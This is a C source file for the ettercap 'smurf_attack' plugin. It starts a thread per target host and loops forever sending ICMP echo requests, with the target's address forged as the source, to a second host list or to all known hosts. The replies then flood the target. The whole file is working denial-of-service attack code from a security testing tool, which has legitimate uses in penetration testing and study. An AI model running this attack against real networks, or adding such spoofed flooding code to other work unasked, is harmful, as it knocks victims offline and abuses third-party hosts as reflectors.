1 /*
2  *    the smurf attack plugin for ettercap
3  *
4  *    XXX - attack against IPv4 hosts is broken by some kernel bug
5  *    on some systems as the kernel amends the source ip address
6  */
7 
8 #include <ec.h>
9 #include <ec_inet.h>
10 #include <ec_plugins.h>
11 #include <ec_send.h>
12 #include <ec_threads.h>
13 #include <ec_sleep.h>
14 
15 /* protos */
16 int plugin_load(void *);
17 static int smurf_attack_init(void *);
18 static int smurf_attack_fini(void *);
19 static EC_THREAD_FUNC(smurfer);
20 
21 /* globals */
22 
23 struct plugin_ops smurf_attack_ops = {
24    .ettercap_version =     EC_VERSION,
25    .name =                 "smurf_attack",
26    .info =                 "Run a smurf attack against specified hosts",
27    .version =              "1.0",
28    .init =                 &smurf_attack_init,
29    .fini =                 &smurf_attack_fini,
30 };
31 
32 /* teh c0d3 */
33 
plugin_load(void * handle)34 int plugin_load(void *handle)
35 {
36    return plugin_register(handle, &smurf_attack_ops);
37 }
38 
smurf_attack_init(void * dummy)39 static int smurf_attack_init(void *dummy)
40 {
41    struct ip_list *i;
42 
43    /* variable not used */
44    (void) dummy;
45 
46    DEBUG_MSG("smurf_attack_init");
47 
48    if(EC_GBL_OPTIONS->unoffensive) {
49       INSTANT_USER_MSG("smurf_attack: plugin doesn't work in unoffensive mode\n");
50       return PLUGIN_FINISHED;
51    }
52 
53    if(EC_GBL_TARGET1->all_ip && EC_GBL_TARGET1->all_ip6) {
54       USER_MSG("Add at least one host to target one list.\n");
55       return PLUGIN_FINISHED;
56    }
57 
58    if(EC_GBL_TARGET2->all_ip && EC_GBL_TARGET2->all_ip6 && LIST_EMPTY(&EC_GBL_HOSTLIST)) {
59       USER_MSG("Target two and global hostlist are empty.\n");
60       return PLUGIN_FINISHED;
61    }
62 
63    EC_GBL_OPTIONS->quiet = 1;
64    INSTANT_USER_MSG("smurf_attack: starting smurf attack against the target one hosts\n");
65 
66    /* creating a thread per target */
67    LIST_FOREACH(i, &EC_GBL_TARGET1->ips, next) {
68       ec_thread_new("smurfer", "thread performing a smurf attack", &smurfer, &i->ip);
69    }
70 
71    /* same for IPv6 targets */
72    LIST_FOREACH(i, &EC_GBL_TARGET1->ip6, next) {
73       ec_thread_new("smurfer", "thread performing a smurf attack", &smurfer, &i->ip);
74    }
75 
76    return PLUGIN_RUNNING;
77 }
78 
smurf_attack_fini(void * dummy)79 static int smurf_attack_fini(void *dummy)
80 {
81    pthread_t pid;
82 
83    /* variable not used */
84    (void) dummy;
85 
86    DEBUG_MSG("smurf_attack_fini");
87 
88    while(!pthread_equal(ec_thread_getpid(NULL), pid = ec_thread_getpid("smurfer"))) {
89       ec_thread_destroy(pid);
90    }
91 
92    return PLUGIN_FINISHED;
93 }
94 
EC_THREAD_FUNC(smurfer)95 static EC_THREAD_FUNC(smurfer)
96 {
97    struct ip_addr *ip;
98    struct ip_list *i, *itmp;
99    struct hosts_list *h, *htmp;
100    LIST_HEAD(ip_list_t, ip_list) *ips = NULL;
101 
102    u_int16 proto;
103    int (*icmp_send)(struct ip_addr*, struct ip_addr*);
104 
105    DEBUG_MSG("smurfer");
106 
107    ec_thread_init();
108    ip = EC_THREAD_PARAM;
109    proto = ntohs(ip->addr_type);
110 
111    /* some pointer magic here. nothing difficult */
112    switch(proto) {
113       case AF_INET:
114          icmp_send = send_L3_icmp_echo;
115          ips = (struct ip_list_t *)&EC_GBL_TARGET2->ips;
116          break;
117 #ifdef WITH_IPV6
118       case AF_INET6:
119          icmp_send = send_L3_icmp6_echo;
120          ips = (struct ip_list_t *)&EC_GBL_TARGET2->ip6;
121          break;
122 #endif
123       default:
124       /* This won't ever be reached
125        * if no other network layer protocol
126        * is added.
127        */
128          ec_thread_destroy(ec_thread_getpid(NULL));
129          break;
130    }
131 
132    LOOP {
133       CANCELLATION_POINT();
134 
135       /* if target two list is not empty using it */
136       if(!LIST_EMPTY(ips))
137          LIST_FOREACH_SAFE(i, ips, next, itmp)
138             icmp_send(ip, &i->ip);
139       /* else using global hostlist */
140       else
141          LIST_FOREACH_SAFE(h, &EC_GBL_HOSTLIST, next, htmp)
142             if(ntohs(h->ip.addr_type) == proto)
143                icmp_send(ip, &h->ip);
144 
145       ec_usleep(1000*1000/EC_GBL_CONF->sampling_rate);
146    }
147 
148    return NULL;
149 }
150 
151